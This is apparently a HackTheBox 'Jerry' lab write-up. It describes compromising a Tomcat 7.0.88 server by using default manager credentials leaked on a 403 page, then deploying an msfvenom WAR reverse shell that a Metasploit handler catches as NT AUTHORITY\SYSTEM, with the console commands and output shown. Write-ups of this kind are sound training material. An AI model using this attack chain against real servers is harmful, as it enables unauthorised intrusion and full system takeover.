Jerry is a HackTheBox Easy difficulty machine that hosts an Apache Tomcat/7.0.88 application. The initial access involves using leaked credentials from a 403 error page on /host-manager/html to log in to the Tomcat Web Application Manager at /manager/html. Once authenticated, uploading and deploying a custom WAR archive grants an immediate reverse shell with NT AUTHORITY\SYSTEM privileges, bypassing the need for further privilege escalation and providing full administrative access to both flags simultaneously.
1. Initial Enumeration and Service Discovery
As the first step, I ran an NMAP scan on the target machine to get a better idea of the target machine. I used nmap -sC -sV -O jerry.htb -oN nmap_scan to scan the open ports and services.
Starting Nmap 7.99 ( https://nmap.org ) at 2026-09-08 07:30 -0400 Nmap scan report for jerry.htb (10.129.136.9) Host is up (0.45s latency). Not shown: 999 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1 |_http-favicon: Apache Tomcat |_http-title: Apache Tomcat/7.0.88 |_http-server-header: Apache-Coyote/1.1 Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running (JUST GUESSING): Microsoft Windows 2012|2008|7 (97%) OS CPE: cpe:/o:microsoft:windows_server_2012:r2 cpe:/o:microsoft:windows_server_2008:r2 cpe:/o:microsoft:windows_7 Aggressive OS guesses: Microsoft Windows Server 2012 R2 (97%), Microsoft Windows 7 or Windows Server 2008 R2 (91%), Microsoft Windows Server 2012 or Windows Server 2012 R2 (89%) No exact OS matches for host (test conditions non-ideal). OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 58.86 seconds
There was only port 8080 open, and it was running an Apache Tomcat/7.0.88 web server with the default webpage.
2. Credential Enumeration & Manager Access
While looking around the default server application, I navigated into http://jerry.htb:8080/host-manager/html, and this page requested credentials. Since I did not have any credentials, I entered admin/admin but it did not work. After that, by pressing the "Cancel" button, I landed on a "403 Access Denied" error page.
This page disclosed some default credentials.
After learning about the credentials, I tried to trigger the credentials request form again, but I was not successful. So I decided to look around the application, and I was able to trigger another credential request form when I visited http://jerry.htb:8080/manager/html.
The form accepted the credentials, and I was redirected to the "Tomcat Web Application Manager " dashboard.
3. Initial Access & System Compromise
When looking around the dashboard, I noticed there is an option to upload a WAR file for deployment.
I decided to create a WAR file with a reverse shell code using msfvenom and upload it to the server.
Payload size: 1085 bytes Final size of war file: 1085 bytes Saved as: shell.war
Once the WAR file is created, I set up a listener to catch the reverse shell request and upload the file for deployment.
But at first, even though the file was uploaded and displayed in the dashboard in green, the reverse shell connection did not trigger. The reverse shell script triggered when the "Reload" button was pressed.
I was able to receive a reverse shell connection as nt authority\system.
└─$ msfconsole -q
msf > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf exploit(multi/handler) > set PAYLOAD java/jsp_shell_reverse_tcp
PAYLOAD => java/jsp_shell_reverse_tcp
msf exploit(multi/handler) > set LHOST 10.10.16.36
LHOST => 10.10.16.36
msf exploit(multi/handler) > set LPORT 4444
LPORT => 4444
msf exploit(multi/handler) > run
[*] Started reverse TCP handler on 10.10.16.36:4444
[*] Command shell session 1 opened (10.10.16.36:4444 -> 10.129.136.9:49192) at 2026-09-08 08:15:35 -0400
Shell Banner:
Microsoft Windows [Version 6.3.9600]
-----
C:\apache-tomcat-7.0.88>whoami
whoami
nt authority\system
C:\apache-tomcat-7.0.88>4. Flag Capture
Since I got the shell access as nt authority\system straight away, I can access both user and root flags.
C:\Users\Administrator\Desktop>cd flags cd flags C:\Users\Administrator\Desktop\flags>dir dir Volume in drive C has no label. Volume Serial Number is 0834-6C04 Directory of C:\Users\Administrator\Desktop\flags 06/19/2018 07:09 AM
Congrats! We found both flags!
HTB Machine Completion
